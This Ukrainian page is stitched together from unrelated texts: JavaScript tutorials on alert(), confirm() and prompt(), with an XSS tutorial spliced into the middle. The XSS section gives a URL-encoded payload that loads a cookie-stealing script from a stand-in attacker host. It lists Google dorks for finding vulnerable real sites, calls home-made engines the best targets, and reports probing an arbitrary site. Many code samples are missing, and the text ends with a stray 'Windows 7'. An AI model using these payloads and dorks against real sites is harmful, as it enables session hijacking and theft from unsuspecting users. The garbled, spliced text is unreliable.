На цьому уроці ми познайомимося з методами об'єкта window: alert(), prompt() та confirm().
Метод alert()
Метод alert() призначений для виведення на екран користувача попереджувального діалогового вікна із зазначеним повідомленням та кнопкою "ОК". Воно може використовуватися для того, щоб донести до користувача важливу інформацію.
window.alert(Параметр_1);
Метод alert() має один обов'язковий параметр – це текст повідомлення, яке відображається у діалоговому вікні. Даний метод внаслідок свого виконання нічого не повертає.
Наприклад, виведемо для відвідувача сайту при натисканні на посилання попереджувальне діалогове вікно: Перейти на сайт
Метод confirm()
Метод confirm() об'єкта window призначений для виведення на екран користувача діалогового вікна із зазначеним повідомленням та кнопками "ОК" та "Скасувати". Ви можете використовувати вікно з підтвердженням, щоб запитати користувача про дозвіл на виконання тієї чи іншої дії.var resultConfirm = confirm(Параметр_1);
Даний метод має один параметр – це текст повідомлення, яке буде виведено у діалогове вікно.
Метод confirm() як результат (resultConfirm) свого виконання повертає одне з двох значень:
- true якщо користувач натиснув "ОК";
- false , якщо користувач натиснув "Скасувати" або закрив його.
Наприклад, виведемо в елемент id="resultConfirm" результат натискання користувачем на кнопку "ОК" у діалоговому вікні:
Метод prompt()
Метод prompt() призначений для виведення на екран користувача діалогового вікна з повідомленням, текстовим полем для введення даних та кнопками "ОК" та "Скасувати". Воно призначене для того, щоб запросити дані користувача.
var resultPrompt = prompt(Параметр_1, Параметр_2);
Цей метод має два параметри:
- повідомлення, яке буде відображено у діалоговому вікні. Цей параметр є обов'язковим і містить повідомлення, в якому "говориться", які дані повинен ввести користувач текстове поле;
- другий параметр є необов'язковим і може використовуватися для вказівки початкового значення, яке буде виведено у полі діалогового вікна введення.
Залежно від дій користувача метод prompt() може повертати такі дані:
- текстове значення - якщо в полі введення містяться дані та користувач натиснув "ОК";
- порожній рядок - якщо у полі введення не містяться дані та користувач натиснув "ОК";
- null - якщо користувач натиснув "Скасувати" або закрив це вікно, при цьому не важливо, які дані були введені в текстове поле.
Примітка: діалогове вікно, яке з'являється в результаті виконання одного з методів alert() , confirm() або prompt() модальне, тобто. воно блокує доступ користувача до батьківського додатку (браузеру) доти, доки користувач не закриє це діалогове вікно.
Наприклад, запитаємо у користувача ім'я і виведемо залежно від результату текст елемент c id="nameUser" :
Наприклад, попросимо користувача вгадати число 8:
... Вгадай число
Міжсайтовий скриптинг (XSS) - це вразливість, яка полягає у впровадженні коду, який виконується на стороні клієнта (JavaScript) у веб-сторінку, яку переглядають інші користувачі.
Вразливість виникає через недостатню фільтрацію даних, які користувач надсилає для вставки на веб-сторінку. Набагато простіше зрозуміти на конкретному прикладі. Згадайте будь-яку гостьову книгу – це програми, які призначені для прийняття даних від користувача та подальшого їх відображення. Уявімо, що гостьова книга ніяк не перевіряє і не фільтрує дані, що вводяться, а просто їх відображає.
Можна накидати свій найпростіший скрипт (немає нічого простіше, ніж писати погані скрипти на PHP - цим дуже багато хто займається). Але вже достатньо готових варіантів. Наприклад, я пропоную почати знайомство з Dojo та OWASP Mutillidae II. Там є схожий приклад. В автономному середовищі Dojo перейдіть у браузері за посиланням: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Якщо хтось із користувачів ввів:
То веб-сторінка відобразить:
Вітання! Подобається твій веб-сайт.
Якщо користувач введе так:
Вітання! Подобається твій веб-сайт.
То це відобразиться так:
Браузери зберігають безліч кукіз великої кількості сайтів. Кожен сайт може отримати кукіз тільки збережені ним самим. Наприклад, сайт example.com зберіг у вашому браузері деякі кукізи. Ви заши на сайт another.com, цей сайт (клієнтські та серверні скрипти) не можуть отримати доступ до кукізів, які зберіг сайт example.com.
Якщо сайт example.com вразливий до XSS, це означає, що ми можемо тим чи іншим способом впровадити в нього код JavaScript, і цей код буде виконуватися від імені сайту example.com! Тобто. цей код отримає, наприклад, доступ до кукіз сайту example.com.
Думаю, всі пам'ятають, що виконується JavaScript у браузерах користувачів, тобто. за наявності XSS, впроваджений шкідливий код отримує доступ до даних користувача, який відкрив сторінку веб-сайту.
Впроваджений код вміє все те, що вміє JavaScript, а саме:
- отримує доступ до кукіз сайту, що переглядається
- може вносити будь-які зміни до зовнішнього вигляду сторінки
- отримує доступ до буфера обміну
- може впроваджувати програми на JavaScript, наприклад, кі-логери (перехоплювачі натиснутих клавіш)
- підчіпляти на BeEF
- та ін.
Найпростіший приклад з кукіз:
Насправді, alertвикористовується лише для виявлення XSS. Реальне шкідливе корисне навантаження здійснює приховані дії. Вона приховано зв'язується з віддаленим сервером зловмисника та передає на нього вкрадені дані.
Види XSS
Найголовніше, що потрібно розуміти про види XSS те, що вони бувають:
- Зберігані (постійні)
- Відображені (Непостійні)
Приклад постійних:
- Введене зловмисником спеціально сформоване повідомлення у гостьову книгу (коментар, повідомлення форуму, профіль), яке зберігається на сервері, завантажується з сервера щоразу, коли користувачі запитують відображення цієї сторінки.
- Зловмисник отримав доступ до даних сервера, наприклад, через SQL ін'єкцію, і впровадив у дані, що видаються користувачеві, дані зловмисний JavaScript код (з кілогерами або з BeEF).
Приклад непостійних:
- На сайті є пошук, який разом з результатами пошуку показує щось на кшталт «Ви шукали: [рядок пошуку]», при цьому дані не фільтруються належним чином. Оскільки така сторінка відображається тільки для того, хто має посилання на неї, то поки зловмисник не надішле посилання іншим користувачам сайту, атака не спрацює. Замість надсилання посилання на жертву, можна використовувати розміщення зловмисного скрипту на нейтральному сайті, який відвідує жертва.
Ще виділяють (деякі як різновиду непостійних XSS вразливостей, деякі кажуть, що цей вид може бути різновидом постійної XSS):
- DOM-моделі
Особливості XSS заснованих на DOM
Якщо сказати дуже просто, то зловмисний код «звичайних» непостійних XSS ми можемо побачити, якщо відкриємо HTML-код. Наприклад, посилання сформоване таким чином:
Http://example.com/search.php?q="/>
А при відкритті вихідного HTML коду ми бачимо щось на зразок такого:
А DOM XSS змінюють DOM структуру, яка формується в браузері на льоту і побачити зловмисний код ми можемо тільки при перегляді структури, що сформувалася DOM. HTML у своїй не змінюється. Давайте візьмемо для прикладу такий код:
То в браузері ми побачимо:
Вихідний код сторінки:
Давайте сформуємо адресу так:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Тепер сторінка виглядає так:
Але давайте заглянемо у вихідний код HTML:
Там нічого не змінилося. Про це я й казав, нам потрібно дивитися DOM структуру документа, щоб виявити зловмисний код:
Тут наведено робочий прототип XSS, для реальної атаки нам потрібне складніше корисне навантаження, яке неможливе через те, що програма зупиняє читання відразу після точки з комою, і щось на зразок alert(1);alert(2)вже неможливо. Тим не менш, завдяки unescape()у даних, що повертаються ми можемо використовувати корисне навантаження на кшталт такий:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;
Де ми замінили символ ; на кодований в URI еквівалент!
Тепер ми можемо написати шкідливе корисне навантаження JavaScript і скласти посилання для відправки жертві, як це робиться для стандартного непостійного міжсайтового скриптингу.
XSS Auditor
У Google Chrome (а також в Opera, яка тепер використовує двигун Google Chrome), мене чекав такий сюрприз:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" because його джерело коду було затверджено. Веб-сервер був захищений як сервер, який використовується в "X-XSS-Protection" або "Content-Security-Policy" header.
Тобто. тепер у браузері є XSS аудитор, який намагатиметься запобігати XSS. У Firefox ще немає такої функціональності, але, гадаю, це справа часу. Якщо реалізація в браузерах буде вдалою, то можна говорити про значну скруту застосування XSS.
Корисно пам'ятати, що сучасні браузери роблять кроки з обмеження рівня експлуатації проблем типу непостійних XSS і заснованих на DOM XSS. У тому числі це потрібно пам'ятати при тестуванні веб-сайтів за допомогою браузера - цілком може виявитися, що веб-додаток вразливий, але ви не бачите підтвердження, що спливає, тільки з тієї причини, що його блокує браузер.
Приклади експлуатації XSS
Зловмисники, які мають намір використовувати вразливості міжсайтового скриптингу, повинні підходити до кожного класу вразливостей по-різному. Тут описані вектори атак кожного класу.
При вразливості XSS в атаках можна використовувати BeEF, який розширює атаку з веб-сайту на локальне оточення користувачів.
Приклад атаки з непостійним XSS
1. Аліса часто відвідує певний сайт, який хостить Боб. Веб-сайт Боба дозволяє Алісі здійснювати вхід з ім'ям користувача/паролем та зберігати чутливі дані, такі як платіжна інформація. Коли користувач здійснює вхід, браузер зберігає куки авторизації, які мають безглузді символи, тобто. обидва комп'ютери (клієнт та сервер) пам'ятають, що вона увійшла.
2. Мелорі зазначає, що веб-сайт Боба містить непостійну XSS вразливість:
2.1 При відвідуванні сторінки пошуку, вона вводимо рядок для пошуку і натискає кнопку відправити, якщо результати не знайдені, сторінка відображає введений рядок пошуку, за яким слідують слова «не знайдено» і url має вигляд http://bobssite.org?q=її пошуковий запит
2.2 З нормальним пошуковим запитом на кшталт слова « собачки» сторінка просто відображає « собачкине знайдено» та url http://bobssite.org?q= собачки, що цілком нормальним поведінкою.
2.3 Проте, коли в пошук надсилається аномальний пошуковий запит на кшталт :
2.3.1 З'являється повідомлення із попередженням (що каже "xss").
2.3.2 Сторінка відображає не знайденопоряд із повідомленням про помилку з текстом "xss".
2.3.3 url, придатний для експлуатації http://bobssite.org?q=
3. Мелорі конструює URL для експлуатації вразливості:
3.1 Вона робить URL http://bobssite.org?q=puppies . Вона може вибрати конвертувати ASCII символи в шістнадцятковий формат, такий як http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3Eдля того, щоб люди не змогли негайно розшифрувати шкідливу URL-адресу.
3.2 Вона надсилає e-mail деяким членам сайту Боба, який нічого не підозрює, кажучи: «Зацініть кльових собачок».
4. Аліса отримує листа. Вона любить собачок і кликає за посиланням. Вона переходить на сайт Боба в пошук, вона не знаходить нічого, там відображається "собачки не знайдено", а в самій середині запускається тег зі скриптом (він невидимий на екрані), завантажує та виконує програму Мелорі authstealer.js (спрацьовування XSS атаки). Аліса забуває про це.
5. Програма authstealer.js запускається в браузері Аліси так, ніби її джерелом є сайт Боба. Вона захоплює копію кукі авторизації Аліси і відправляє на сервер Мелорі, де Мелорі їх витягує.
7. Тепер, коли Мелорі всередині, вона йде в платіжний розділ веб-сайту, дивиться та краде копію номера кредитної картки Аліси. Потім вона йде змінює пароль, тобто. тепер Аліса навіть більше не може зайти.
8. Вона вирішує зробити наступний крок і відправляє сконструйоване подібним чином посилання на самого Боба, і таким чином отримує адміністративні привілеї сайту Боба.
Атака з постійним XSS
- Мелорі має обліковий запис на сайті Боба.
- Мелорі зауважує, що веб-сайт боба містить постійну XSS вразливість. Якщо ви переходите в новий розділ, розміщуєте коментар, то він відображає що б не надрукували. Але якщо текст коментаря містить HTML-теги, ці теги будуть відображені як є, і будь-які теги скриптів запускаються.
- Мелорі читає статтю у розділі Новини та пише коментар у розділі Коментарі. У коментарі вона вставляє текст:
- У цій історії мені так сподобалися собачки. Вони такі славні!
- Коли Аліса (або ще хтось) завантажують сторінку з цим коментарем, тег скрипта Мелорі запускається і краде куки авторизації Аліси, відправляє на секретний сервер Мелорі для збору.
- Мелорі тепер може перехопити сесію Аліси та видати себе за Алісу.
Пошук сайтів вразливих до XSS
Дорки для XSS
Першим кроком є вибір сайтів, на яких ми виконуватимемо XSS атаки. Сайти можна шукати за допомогою дорків Google. Ось кілька таких дорків, які скопіюйте і вставте в пошук Гугла:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Перед нами з'явиться список сайтів. Потрібно відкрити сайт і знайти на ньому поля введення, такі як форма зворотного зв'язку, форма введення, пошук сайту і т.д.
Відразу зауважу, що практично марно шукати вразливості в популярних веб-додатках, що автоматично оновлюються. Класичний приклад такої програми - WordPress. Насправді, вразливості у WordPress, а особливо в його плагінах, є. Більше того, є безліч сайтів, які не оновлюють ні двигун WordPress (через те, що веб-майстер вніс у вихідний код якісь свої зміни), ні плагіни та теми (як правило, це піратські плагіни та теми). Але якщо ви читаєте цей розділ і дізнаєтеся з нього щось нове, значить WordPress поки не для вас ... До нього обов'язково повернемося пізніше.
Найкращі цілі - це різноманітні самописні движки та скрипти.
Як корисне навантаження для вставки можна вибрати
Звертайте увагу, в які теги HTML коду потрапляє ваш впроваджений код. Ось приклад типового поля введення ( input):
Наше корисне навантаження потрапить туди, де зараз слово «наволочка». Тобто. перетворитися на значення тега input. Ми можемо цього уникнути - закриємо подвійну лапку, а потім і сам тег за допомогою "/>
"/>
Давайте спробуємо її для якогось сайту:
Добре, вразливість є
Програми для пошуку та сканування XSS вразливості
Напевно, всі сканери веб-застосунків мають вбудований сканер XSS вразливостей. Ця тема є неосяжною, краще знайомитися з кожним подібним сканером окремо.
Існують також спеціалізовані інструменти для сканування на XSS вразливості. У тому числі особливо можна назвати.
JavaScript має три базові операції, які дозволяють отримувати дані від користувача, для подальшої їх обробки в скриптах. Це alert, prompt та confirm. Для чого вони застосовуються, як їх використовувати та інші нюанси та будуть розглянуті далі у цій статті.
alert
Застосовується для виведення на екран браузера модального вікна (це означає, що користувач нічого не може натиснути на сторінці, поки не закриє це вікно. У прикладі, доки не клікне «ОК» у вікні).
Після виведення повідомлення, що міститься в alert, виконання скрипта зупиняється та відновлюється після закриття модального вікна.
У разі заповненняполя та натискання ОК, у скрипт повернеться інформація, яку ввів користувач.
Синтаксис цієї командидещо складніше, ніж попередньої, оскільки дозволяє задати текст звернення до користувача та поля, що можливі, для введення інформації, яке буде виводитися за замовчуванням: result = prompt(title, default);, де
- title– повідомлення, яке буде виведено користувачеві у модальному вікні. Аргумент є обов'язковим для заповнення.
- default– те, що виводиться у полі для введення тексту за промовчанням. Також обов'язковий для заповнення, оскільки якщо його не задати, це може призвести до помилок в деяких браузерах. Якщо ви хочете залишити поле введення інформації порожнім, то просто задайте prompt наступним чином:
var myTest = prompt("Будь-яке інфо", """);
Маленький приклад використання prompt:
var year = prompt( "У якому році ви закінчили ВНЗ?", 2008); alert("Ви випускник" + year + "року!");
Зазвичай, ця команда використовується для збору даних у користувачів, які необхідні скрипту для продовження подальшої роботи.
confirm
Також є модальним вікном. Як не складно здогадатися з назви використовується зазвичай для узгодження чогось із користувачем.
Для того і заточена – для взаємодії надає користувачеві кнопки OK та CANCEL, які повертають скрипту булеви значення true та false відповідно. Оцінок: 4 (середня 4 з 5)
У цій статті ми вивчимо три цікаві методи, а саме методи alert(), confirm() та prompt(). Вони всі призначені для взаємодії з користувачем.
Всі ці три методи належать об'єкту window(Вікно браузера). І вони можуть викликатися таким чином: window. Назва_метода (); Але JavaScript нам дозволяє цей об'єкт window не вказати, а писати просто назву методу.
Почнемо ми з методу alert(). Даний метод виводить зазначене повідомлення у віконце браузера користувача. Це вікно відобразиться поверх усієї сторінки, і поки користувач не натисне кнопку OK, воно не закриється.
Для демонстрації виведемо якесь повідомлення за допомогою методу alert()
Var today_is = "Понеділок"; alert("Сьогодні" + today_is);
Всередині методу ми можемо вказати будь-який рядок тільки без html тегів. Вони тут не обробляються, а виводяться як є.
Якщо рядок, який хочемо вказати дуже довгий, і ми хочемо зробити перехід на новий рядок, то тут html тег
не спрацює. Тут потрібно використовувати символ \n.
Alert("Looooooooong \nStringggggggg");
Цей метод використовується часто для пошуку помилки у коді.
Процес обробки коду йде зверху вниз, тому для лову помилки просто пишемо метод alert() в передбачувану область, де знаходиться помилка. І якщо alert() спрацював, значить до рядка, де його написано, помилок немає.
Далі потрібно його перенести на один рядок або більше нижче. Зберігаємо зміни, знову оновлюємо сторінку в браузері, і дивимося, якщо alert() спрацював, значить, помилок до рядка, де він знаходиться, ні, інакше, якщо він не спрацював, помилка знаходиться в рядок вище за той, де він зараз знаходиться. Таким чином можна знайти помилку в коді.
метод confirm()
Цей метод використовується для підтвердження відповіді на якесь питання. Є тільки два варіанти відповіді, так(OK) чи ні(Cancel/Скасувати). Якщо користувач відповідає так, то метод повертає істину (true), інакше він повертає лож (false).
Наприклад, виведемо віконце з допомогою методу confirm(), де запитаємо користувача " Ви точно хочете залишити сторінку? " . Якщо користувач відповість так, то через метод alert() виведемо таке повідомлення "Користувач хоче залишити сторінку", інакше виведемо інше повідомлення "Користувач НЕ хоче покинути сторінку".
Var user_answer = confirm("Ви точно хочете залишити сторінку?"); if(user_answer) alert("Користувач хоче залишити сторінку"); else alert("Користувач НЕ хоче \nзалишити сторінку");
Таким чином працює метод confirm(). Він може використовуватись у різних випадках. Наприклад, перед тим як видалити щось із сайту прийнято запитати користувача, чи впевнений він у свої дії. Або перед тим як відправити форму, теж можна запитати користувача "Ви все заповнили правильно?", якщо він відповість так, то форма відправитися, інакше вона не відправиться.
Метод prompt()
І останній метод, який ми вивчимо, це метод prompt(). Даний метод використовується рідше, ніж решта двох методів. Він дозволяє отримати інформацію від користувача, яку він введе в текстове поле.
Як результат, метод prompt() повертає або введений рядок, якщо користувач натиснув кнопку OK, або null, якщо користувач натиснув кнопку скасування.
Як параметр, тобто всередині дужок даного методу ми можемо написати вказівний рядок або питання, щоб користувач знав яку інформацію необхідно ввести.
Наприклад, попросимо користувача відповісти на запитання "Як Вас звуть?" Введене користувачем ім'я відобразимо на екран за допомогою методу alert().
Var name = prompt("Як Вас звуть?"); alert("Вас звуть" + name);
Зберігаємо та відкриваємо сторінку в браузері.
Зрозуміло, у текстове поле методу prompt() можна ввести будь-яку інформацію. Ця інформація буде повернена як рядок, навіть у випадку чисел або інших спецсимволів.
Наприклад попросимо користувача ввести дві числа, щоб потім помножити їх. Буде якийсь калькулятор для множення чисел.
Var x = prompt("Введіть перше число:"); var y = prompt("Введіть друге число:"); //Перетворення введених чисел з рядкового типу на числовий тип x = Number(x); y = Number(y); document.write(x + " * " + y + " = " + (x * y));
Введені числа є рядками, тому для правильного результату множення необхідно ці числа пройти через функцію Number(), яка перетворює їх з рядкового типу в нормальні числа.
Ну, і на цьому все. Тепер Ви знаєте ще три методи: alert(), confirm() та prompt(). Яких Ви можете використовувати на практиці.
Windows 7